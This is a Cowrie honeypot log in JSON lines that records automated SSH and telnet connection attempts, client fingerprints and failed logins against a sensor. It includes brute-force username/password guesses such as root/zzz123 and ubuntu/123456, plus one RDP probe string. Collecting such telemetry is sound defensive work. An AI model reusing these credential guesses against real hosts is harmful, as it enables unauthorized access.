{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:8d:51:a6:ee:a7:57:23:07:45:cb:30:5c:e3:9a:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQ3jcwrKTPS9G2wXwFGSUgYjhkNqKg2BjnSwoTX1BJB+/nRCp3fR9n10mzpQT6C6zEXlWN9D8fE+dajVlaMyDmxGKMFp7l7BZTTr9GRef+2QPsaTNp5Ch5yL24kQiuA/fb5wEpj5cmo2Zhm4uOR30LgZ0YcGwMhxm969tQ4YnMRLscMRLnGI0y8oSg+R+Q1wSnRgdZFerleKcn0FFu0jDX9VhQIeuc5vur+xAQTKbgsd0Whus0PrlcYFTT+wKIfICGoPiozW7dfBlrDGWO+noZ2fQIGEFoURUtvGaN6FfmyhJYd4BTOS48JD4xR+KYMuD/o4iK67PIojVQZB+KEn2CMk6uN7Hb3EbAOoy0hpL0JyyS9+fVF6i+RLW0yzHGyMoWSKi0cH33sMZW0zOSX8pyMs43zelXoCidlUYW5c0xqzASfAoJuVBePcq50ZATwMbILghq4Jia37KvrOoODXrslTCEjBsszrH0Uc3ObYt/7tYLnYGghlSu3Zg4BDmctLc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:8d:51:a6:ee:a7:57:23:07:45:cb:30:5c:e3:9a:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.914813Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:8d:51:a6:ee:a7:57:23:07:45:cb:30:5c:e3:9a:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQ3jcwrKTPS9G2wXwFGSUgYjhkNqKg2BjnSwoTX1BJB+/nRCp3fR9n10mzpQT6C6zEXlWN9D8fE+dajVlaMyDmxGKMFp7l7BZTTr9GRef+2QPsaTNp5Ch5yL24kQiuA/fb5wEpj5cmo2Zhm4uOR30LgZ0YcGwMhxm969tQ4YnMRLscMRLnGI0y8oSg+R+Q1wSnRgdZFerleKcn0FFu0jDX9VhQIeuc5vur+xAQTKbgsd0Whus0PrlcYFTT+wKIfICGoPiozW7dfBlrDGWO+noZ2fQIGEFoURUtvGaN6FfmyhJYd4BTOS48JD4xR+KYMuD/o4iK67PIojVQZB+KEn2CMk6uN7Hb3EbAOoy0hpL0JyyS9+fVF6i+RLW0yzHGyMoWSKi0cH33sMZW0zOSX8pyMs43zelXoCidlUYW5c0xqzASfAoJuVBePcq50ZATwMbILghq4Jia37KvrOoODXrslTCEjBsszrH0Uc3ObYt/7tYLnYGghlSu3Zg4BDmctLc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.918661Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.938251Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":54606,"dst_ip":"10.17.0.5","dst_port":22,"session":"12764d25a16d","protocol":"ssh","message":"New connection: 185.236.22.41:54606 (10.17.0.5:22) [session: 12764d25a16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:09.985661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:10.007761Z","src_ip":"185.236.22.41","session":"12764d25a16d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:10.138569Z","src_ip":"185.236.22.41","session":"12764d25a16d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55904,"dst_ip":"159.203.135.109","dst_port":22,"session":"d052d3735e1d","protocol":"ssh","message":"New connection: 152.42.212.128:55904 (159.203.135.109:22) [session: d052d3735e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:10.593067Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:10.597293Z","src_ip":"152.42.212.128","session":"d052d3735e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:10.601057Z","src_ip":"152.42.212.128","session":"d052d3735e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzz123","message":"login attempt [root/zzz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:10.690774Z","src_ip":"185.236.22.41","session":"12764d25a16d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:11.839104Z","src_ip":"185.236.22.41","session":"12764d25a16d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":56768,"dst_ip":"159.203.135.109","dst_port":22,"session":"c64270d3bce2","protocol":"ssh","message":"New connection: 43.156.2.226:56768 (159.203.135.109:22) [session: c64270d3bce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:13.560901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:13.565733Z","src_ip":"43.156.2.226","session":"c64270d3bce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:13.810812Z","src_ip":"43.156.2.226","session":"c64270d3bce2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sistemas","message":"login attempt [root/sistemas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:14.823606Z","src_ip":"43.156.2.226","session":"c64270d3bce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:16.072248Z","src_ip":"43.156.2.226","session":"c64270d3bce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":33098,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa593856deb9","protocol":"ssh","message":"New connection: 69.6.234.27:33098 (159.203.135.109:22) [session: aa593856deb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:28.695495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:28.699462Z","src_ip":"69.6.234.27","session":"aa593856deb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:28.772659Z","src_ip":"69.6.234.27","session":"aa593856deb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"example","password":"example","message":"login attempt [example/example] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:29.096121Z","src_ip":"69.6.234.27","session":"aa593856deb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:30.173099Z","src_ip":"69.6.234.27","session":"aa593856deb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.81094431877136,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:36.775020Z","src_ip":"128.199.8.54","session":"9cc23e8bf058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.920058250427246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:36.916631Z","src_ip":"128.199.8.54","session":"32445d709ec7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":52618,"dst_ip":"10.17.0.5","dst_port":22,"session":"e86ccaea0bbc","protocol":"ssh","message":"New connection: 176.32.39.21:52618 (10.17.0.5:22) [session: e86ccaea0bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:59.808889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:59.813318Z","src_ip":"176.32.39.21","session":"e86ccaea0bbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:59.961622Z","src_ip":"176.32.39.21","session":"e86ccaea0bbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"246810","message":"login attempt [root/246810] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:00.476397Z","src_ip":"176.32.39.21","session":"e86ccaea0bbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:01.599073Z","src_ip":"176.32.39.21","session":"e86ccaea0bbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41206,"dst_ip":"10.17.0.5","dst_port":22,"session":"48948a260df7","protocol":"ssh","message":"New connection: 103.195.236.96:41206 (10.17.0.5:22) [session: 48948a260df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:07.348258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:07.354781Z","src_ip":"103.195.236.96","session":"48948a260df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:07.593819Z","src_ip":"103.195.236.96","session":"48948a260df7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s","message":"login attempt [root/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:08.316474Z","src_ip":"103.195.236.96","session":"48948a260df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:09.563134Z","src_ip":"103.195.236.96","session":"48948a260df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49704,"dst_ip":"159.203.135.109","dst_port":22,"session":"58d67e6637ff","protocol":"ssh","message":"New connection: 80.94.92.184:49704 (159.203.135.109:22) [session: 58d67e6637ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:11.014234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:11.143345Z","src_ip":"80.94.92.184","session":"58d67e6637ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:11.150315Z","src_ip":"80.94.92.184","session":"58d67e6637ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:12.063237Z","src_ip":"80.94.92.184","session":"58d67e6637ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:13.419904Z","src_ip":"80.94.92.184","session":"58d67e6637ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":55522,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b1a81b5d063","protocol":"ssh","message":"New connection: 43.156.2.226:55522 (159.203.135.109:22) [session: 8b1a81b5d063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:48.234069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:48.239081Z","src_ip":"43.156.2.226","session":"8b1a81b5d063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:48.476298Z","src_ip":"43.156.2.226","session":"8b1a81b5d063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carmen","password":"carmen","message":"login attempt [carmen/carmen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:49.455665Z","src_ip":"43.156.2.226","session":"8b1a81b5d063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":44146,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0d42c4f87db","protocol":"ssh","message":"New connection: 69.6.234.27:44146 (159.203.135.109:22) [session: d0d42c4f87db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:50.102988Z"}
